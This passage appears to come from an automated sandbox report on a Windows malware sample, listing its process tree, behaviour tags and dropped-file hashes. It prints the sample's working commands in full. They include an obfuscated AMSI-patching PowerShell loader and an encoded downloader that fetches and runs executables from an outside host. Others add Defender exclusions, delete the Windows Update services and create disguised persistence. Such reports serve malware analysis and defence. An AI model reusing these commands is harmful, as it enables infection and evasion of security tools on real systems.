08)+''+[Char](105)+'c,'+'H'+''+[Char](105)+''+'d'+'e'+[Char](66)+''+'y'+'S'+'i'+''+[Char](103)+','+[Char](78)+''+[Char](101)+''+[Char](119)+''+'S'+''+[Char](108)+'o'+[Char](116)+''+[Char](44)+''+'V'+'i'+'r'+''+'t'+''+[Char](117)+''+[Char](97)+'l',$paYWHlrrts,$PLkvuYIRyTVNuy).SetImplementationFlags(''+[Char](82)+''+'u'+''+'n'+'t'+[Char](105)+'m'+'e'+''+','+''+[Char](77)+''+[Char](97)+''+[Char](110)+'a'+[Char](103)+'e'+[Char](100)+'');Write-Output $OiozROZvlvg.CreateType();}$uKXOuyqJDNRLm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('S'+[Char](121)+''+[Char](115)+'t'+'e'+''+'m'+''+'.'+'d'+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+[Char](99)+'r'+'o'+''+'s'+''+'o'+''+[Char](102)+''+'t'+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+'32'+'.'+''+[Char](85)+''+'n'+'s'+'a'+''+[Char](102)+'e'+[Char](117)+''+[Char](75)+''+'X'+''+[Char](79)+'u'+[Char](121)+''+[Char](113)+''+[Char](74)+'D'+[Char](78)+'R'+[Char](76)+'m');$KcFDkCsOdSPAPz=$uKXOuyqJDNRLm.GetMethod(''+[Char](75)+''+'c'+''+[Char](70)+''+'D'+''+'k'+'C'+'s'+''+[Char](79)+''+'d'+''+'S'+''+'P'+''+[Char](65)+''+[Char](80)+''+'z'+'',[Reflection.BindingFlags]''+[Char](80)+''+[Char](117)+''+[Char](98)+'l'+'i'+''+'c'+''+[Char](44)+'S'+'t'+''+'a'+''+[Char](116)+''+'i'+'c',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$mxKLhNMWRPlmQKlFDPj=qIWuloRCvuJC @([String])([IntPtr]);$NImAgVPtKIeHSxFXmxwGCv=qIWuloRCvuJC @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$jKFpOUnLKNU=$uKXOuyqJDNRLm.GetMethod(''+'G'+''+[Char](101)+''+'t'+''+[Char](77)+''+'o'+''+[Char](100)+''+'u'+'leH'+[Char](97)+''+'n'+''+'d'+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+'r'+'n'+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+'l'+[Char](108)+'')));$UHdFeEKSyzKiVv=$KcFDkCsOdSPAPz.Invoke($Null,@([Object]$jKFpOUnLKNU,[Object](''+[Char](76)+'oa'+[Char](100)+'L'+[Char](105)+''+[Char](98)+'r'+'a'+''+'r'+'y'+[Char](65)+'')));$HjMJtYfAJnfQcyGWL=$KcFDkCsOdSPAPz.Invoke($Null,@([Object]$jKFpOUnLKNU,[Object](''+[Char](86)+'i'+[Char](114)+'tu'+[Char](97)+'l'+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+''+'c'+''+[Char](116)+'')));$vYbAhAo=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UHdFeEKSyzKiVv,$mxKLhNMWRPlmQKlFDPj).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'');$ODDNDntxDkyEpBEzC=$KcFDkCsOdSPAPz.Invoke($Null,@([Object]$vYbAhAo,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+[Char](105)+''+[Char](83)+''+[Char](99)+''+'a'+''+[Char](110)+''+[Char](66)+''+'u'+''+[Char](102)+'f'+[Char](101)+'r')));$emCAvesVQk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HjMJtYfAJnfQcyGWL,$NImAgVPtKIeHSxFXmxwGCv).Invoke($ODDNDntxDkyEpBEzC,[uint32]8,4,[ref]$emCAvesVQk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$ODDNDntxDkyEpBEzC,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HjMJtYfAJnfQcyGWL,$NImAgVPtKIeHSxFXmxwGCv).Invoke($ODDNDntxDkyEpBEzC,[uint32]8,0x20,[ref]$emCAvesVQk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+'FT'+[Char](87)+''+[Char](65)+'RE').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+'e'+[Char](114)+'s'+[Char](116)+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1964 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1532
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1172
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1700
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1880
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2360
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵PID:2528
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:2584
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C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"C:\Users\Admin\AppData\Local\Temp\aa95d6c08ae9201828da23593e42df4a2e39ce82.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2056 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:1328 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4212 -
C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1468 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2436
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1468 -s 1526⤵
- Program crash
PID:3712
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C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:344
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4400
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1116
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2056 -s 2643⤵
- Program crash
PID:3532
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2568
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:4160 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:4936
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:892
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:820
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:4076
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:4048
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:2564
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:2184
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:4872
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:2632
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:636
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3876
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1048
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3436
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3264
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:3128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -s W32Time1⤵PID:3632
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:3912
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p1⤵PID:4308
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k WerSvcGroup1⤵PID:456
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 2056 -ip 20562⤵PID:1080
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 1468 -ip 14682⤵PID:4348
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:712
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4208
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4632
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:2236
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵PID:5060
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:4748
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3784
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:692
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵PID:2796
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C:\Windows\system32\sihost.exesihost.exe1⤵PID:2668
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵PID:2520
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵PID:2512
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵PID:2460
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵PID:2392
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵PID:2296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵PID:2288
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵PID:2188
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵PID:1944
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:1300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1996
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:1972
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1872
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1764
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s FontCache1⤵PID:1720
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1664
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1604
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1492
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1472
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1400
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1292
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1284
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1240
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1104
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1096
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:960
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:424
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:964
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:4660
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C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:1260
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
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Filesize
226B
MD5916851e072fbabc4796d8916c5131092
SHA1d48a602229a690c512d5fdaf4c8d77547a88e7a2
SHA2567e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
SHA51207ce4c881d6c411cac0b62364377e77950797c486804fb10d00555458716e3c47b1efc0d1f37e4cc3b7e6565bb402ca01c7ea8c963f9f9ace941a6e3883d2521
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Filesize
19KB
MD532583fa044e8031140ce068e530bf1a0
SHA1ef99646986e09999af3e556adb211756a0d5c02c
SHA256c0f1c3700bb13ed6b1712b92e3a046f5e9281970d2677491208a12a6526566f6
SHA512104c9826a72fab8976fec42224feb66cbf1873f67f3f53ad09c268eecfc7a905acd46b4a6945f22225a4ed00addd0d4f46bd6cd0f26a67a59c5de305271a0b30
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Filesize
948B
MD5a7ce8cefc3f798abe5abd683d0ef26dd
SHA1b7abb625174a48db3221bf0fee4ecdbc2bd4ee1e
SHA2565e97dee013313bedacd578551a15e88ed87b381ed8f20755cb929b6358fd020a
SHA512c0d1821252d56e7b7d5b5d83891673f279f67638da1f454fb45e0426315cf07cc54c6df2cf77c65c11bcb3a1e4f574f76a3fb9059fde94951ba99d3de0e98d64
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17
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Filesize
455KB
MD5ee0ad7cc2a5976a5c658da52092977a9
SHA1c69b99d42a9f9886af74e6a75fd905a5d17d4792
SHA256f0cc93428ff55575086b843e642c33283067a980fc9cb1f17afc3559b101ff1b
SHA512ca7f8b1409156b7d1b143cfb33f64056a8c2a8ce401dc735c82828521922044f86680ca6c1b4b08955689c5ba11c94930fe64cce37258e621c7d47ee2dafea17